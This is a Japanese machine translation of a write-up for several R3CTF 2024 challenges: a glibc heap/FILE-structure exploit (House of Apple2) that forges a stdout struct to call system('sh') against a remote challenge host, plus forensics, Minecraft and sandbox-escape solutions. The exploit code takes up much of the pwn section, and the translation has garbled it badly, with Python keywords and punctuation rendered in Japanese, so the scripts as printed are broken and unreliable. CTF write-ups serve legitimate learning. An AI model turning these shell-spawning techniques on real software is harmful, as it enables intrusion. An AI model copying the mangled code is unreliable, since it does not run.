1。 pwn
1.nullulllllu
libc_baseを直接与えた場合、任意の住所に一度に\ x00を書き込みます。
io_2_1_stdinの_io_buf_baseの終わりを直接変更します。_io_buf_baseは、io_2_1_stdinの_io_write_baseを指します。次に、GetChar関数を使用して書き込み操作をトリガーしてIO_BUF_BASEをIO_2_1_STDOUTに変更し、GETCHAR関数を使用して書き込み操作をトリガーしてApple2をstdoutに書き込みます。 printf関数は、Appl2 Get Shellをトリガーします。
exp
PWNインポートから *
Struct Import Packから
ctypesからインポート *
base64をインポートします
サブプロセスのインポート実行から
#from libcsearcherインポート *
Struct Import Packから
TTYをインポートします
def debug(c=0):
if(c):
gdb.attach(p、c)
else:
gdb.attach(p)
一時停止()
def get_sb(): return libc_base + libc.sym ['system']、libc_base + next(libc.search(b '/bin/sh \ x00'))
#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
S=Lambdaデータ: P.Send(データ)
sa=lambdaテキスト、データ:p.sendafter(テキスト、データ)
SL=Lambdaデータ:p.sendline(data)
sla=lambdaテキスト、データ:p.sendlineafter(テキスト、データ)
r=lambda num=4096 :p.recv(num)
rl=lambdaテキスト:p.recvuntil(テキスト)
pr=lambda num=4096 :print(p.recv(num))
inter=lambda :p.interactive()
l32=lambda :U32(p.recvuntil(b '\ xf7')[-4:] .ljust(4、b '\ x00'))
l64=lambda :U64(p.recvuntil(b '\ x7f')[-6:] .ljust(8、b '\ x00'))
uu32=lambda :u32(p.recv(4).ljust(4、b '\ x00'))
uu64=lambda :u64(p.recv(6).ljust(8、b '\ x00'))
int16=lambdaデータ:INT(データ、16)
LG=Lambda S、num :p.success( '%s -0x%x'%(s、num))
#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Context(os='linux'、arch='amd64'、log_level='debug')
p=remote( 'ctf2024-entry.r3kapig.com'、30371)
#p=remote( '127.0.0.1'、9999)
elf_patch='./chall'
#p=process(elf_patch)
elf=elf(elf_patch)
libc=elf( './libc.so.6')
SLA(b ''、b'1 ')
rl(b'0x ')
libc_base=int(r(12)、16)# +0x6d80
環境=libc_base + libc.sym ['__環境']
システム、binsh=get_sb()
stdin=libc_base + libc.sym ['_ io_2_1_stdin_']
stdin_io_buf_base=stdin + 7*8
stdin_old_value=stdin +0x83
stdout=libc_base + libc.sym ['_ io_2_1_stdout_']
stderr=libc_base + libc.sym ['_ io_2_1_stderr_']
#ステップ2 : printf -stdout -house of apple2
システム、binsh=get_sb()
_io_wfile_jumps=libc_base +0x202228
base_addr=stdout
fake_io=b 'sh; \ x00 \ x00 \ x00'
fake_io=fake_io.ljust(0x68、b '\ x00')
fake_io +=p64(system)
fake_io=fake_io.ljust(0x88、b '\ x00')
fake_io +=p64(base_addr +0x5000)#_lock
fake_io +=p64(0)*2
fake_io +=p64(base_addr)
fake_io=fake_io.ljust(0xd8、b '\ x00')
fake_io +=p64(_io_wfile_jumps -0x20)
fake_io=fake_io.ljust(0xe0、b '\ x00')
fake_io +=p64(base_addr)
SLA(b ''、b'2 ')
SLA(b'mem: '、hex(stdin_io_buf_base)))
#debug( 'b *$ rebase(0x12c3)')
sa(b ''、p64(stdin_old_value)*3 + p64(base_addr) + p64(base_addr + len(fake_io) + 1))
睡眠(1)
SL(fake_io)
lg( 'libc_base'、libc_base)
inter()
Pause()
2。フォレンジック
1.tpa 01
E01ミラーは火の目に直接投げられ、ネストされた証拠を分析します
実際、私がこの質問をしていたとき、分析プロセスは非常に複雑でした。私は複雑すぎると感じました。その理由は、私が経験が少なすぎたからです。私もそれをシミュレートし始めました。
フォルダをめくるときは、WSLを見つけて、ネストされた証拠を組み合わせます。予想されるソリューションは、このシステムを復元することであるべきだと思います。
しかし、幸いなことに、証拠収集ツールがあります。あなたはそれを回復せずにそれをすることができます。ファイルシステムを慎重に検索しなかったため、以下は私が見つけた別の方法です。
010 ciphertextを掘り出すだけです
しかし、あなたはそれを火の目で直接見ることができ、あなたはまた、キーについてのプロンプトを見ることができます。
鍵:
YouTubeでビデオを見るのが好きですか?
F14G:
こんにちはプレーヤー、ようこそ!Ops、それは何ですか?
プロンプトに応じて、どこかから何かを選択してください私はそれがSQLステートメントと関係があるはずだと思います
最初にキーで言及されているビデオを見てみましょう
文字列があります。来て、見てください
0x6D617962652075206E6565642C746861742773206E6F74206162736F6C7574650A726F6F743A5040357357307264446464466F7255
たぶんあなたは必要です、それは絶対的ではありません
root:p@5SW0RDFORU にパスワードが与えられました。 MySQLにログインして、正常にログインしてください。
Select * Secretから。
ffd8の頭、一目、jpg画像、保存、aes復号化キーを与える
実際、プロジェクトIBD2SQLを使用して、データベースSecret.ibdを復号化することもできます。
2.tpa 02
2つの部分:1つは攻撃者の携帯電話番号を見つけることです。もう1つはペギーのログインパスワードを見つけ、最初にトラフィックを見て、TCPフローを直接追跡し、31番目のフローでログインログインページを見つけます
最初のフラグは、Android電話がSMSメッセージを保存する場所から見つかります
指定された携帯電話フォルダーを見てください。 Fire Eyeを使用して、2つの携帯電話番号を分析します。
コンテキストによると、その数は15555215556であることを知ることができます。これはペギーの同僚であるはずです。ペギーがフィッシング情報を受け取ったかどうかを尋ねてください。
次に、以下の1555215558は攻撃者の携帯電話番号になるはずです。直接結合されます。
R3CTF {15555215558_L0V3_AND_PEACE}
iii。ミス
1.Blizzard CNが再起動
ShadowEditorを使用
2.hideandseek
ベンは、かくれんぼをするのが大好きな超大国です。彼は誰も彼を見つけることができない場所にどこにでもテレポートすることができますが、彼は彼の能力が特定の範囲内でのみ機能することに気づいていないようです
ルール:
愛らしいベンは、(0、-50、0)から(128、50、128)の範囲内にのみ表示されます。
ベンは10秒ごとになり、10秒後に新しい場所に再び現れます。
すべてのプレーヤーが任意の座標にテレポートするために「newtp」が追加されました。
Info: 34.81.163.238を接続します
バージョン1.19.2は非常に抽象的なMCゲームの質問です。最初は、PCL2エミュレーターを使用してゲームに参加してプレイしました
NewTPコマンドを提供していることがわかりました。また、MCのTPコマンドの使用方法を学ぶために多くのチュートリアルをチェックしましたが、役に立たないことがわかりました。私はしばらくの間地図を歩き回りました。
Newtpを使用して、いくつかの座標を送信します。コマンド形式は次のとおりです
送信される座標(x、y、z)
newtp x y zログログファイルを直接フリップしてフラグを見つけます
丸太を読んでください、そしてあなたは「ベン」の体タイプが村人であるべきであることがわかります、そして彼の名前は旗です
r3ctf {jus7_play_m0r3_h1de_2nd_seek_w1th_ben}
3.transit
撮影場所に非常に似ているB Stationのビデオでカバーを検索します。 19行目に沿ってPOVを見つけます。ビデオbv1ie411m7avは撮影場所です。フレームごとにフレームを再生し、3:35で見つけてください。R3CTF{Hangzhou_Zhixing_road_Station}
Hint:S1611およびS1613は、列車ではなく、信号光の数になります。 https://www.cnblogs.com/qq2962269558/p/12743383.htmlは、アップリンクとダウンリンク(x)を使用して列車の方向を定義します。電動駆動型EMU
4.礼拝堂
0.85を超える場合は、間違いなく1です。
frommpwnimport*
p=remote( 'ctf2024-entry.r3kapig.com'、31395)
Foriinrange(500):
a=p.recvuntil(b'top_10_pred: [')
b=p.recvuntil(b ']')
b=b.decode()。置換( '['、 '')。置換( ']、' ')。分割('、 ')
c=float(b [0])
IFC=0.9:
p.sendlinefter(b'isthispictureinthetrainingset? '、b'1')
else:
p.sendlinefter(b'isthispictureinthetrainingset? '、b'0')
print(f'no。{i}={c}、num={num} ')
flag=p.recvline()
印刷(フラグ)
P.Close()もちろん、スコープは合理的に変更できます
r3ctf {cain_like_a1_4nd_rec_8772b609d39f}
5.hideandseek
不正行為は数秒です
非常に優れた村人、私の視点と追跡回転を作ってください
6.h1de@ndse3k
MCがブロックをレンダリングすると、ログが数秒で表示されるように記録されます。
CEを使用して、java.exeプロセスには「R3CTF」、「R3CTF」、「フラグ」が多いことを確認します。村人の名前は記憶の中で単純なテキストに保存されていると推測されています。写真を実行した後、
p.s.テスト後、旅行マップ(Journeymap-1.19.2-5.9.8-fabric)をロードした後にのみ、村人の名前を記憶に載せることができます。旅行地図にいくつかのクリーチャーNBTを記録することは合理的です。
または旗を爆破するだけです()
7.壁をbehind
defcallback(re):
Re=5
re=getattr(getattr(getattr( 'a'、f'e {f'n '} c {f'o'} d {f'e '}')()( )、f'f {f'r '} o {f'm'} h {f'e '} x')(f '{re} f')、f'd {f'e '} c {f'o'} d {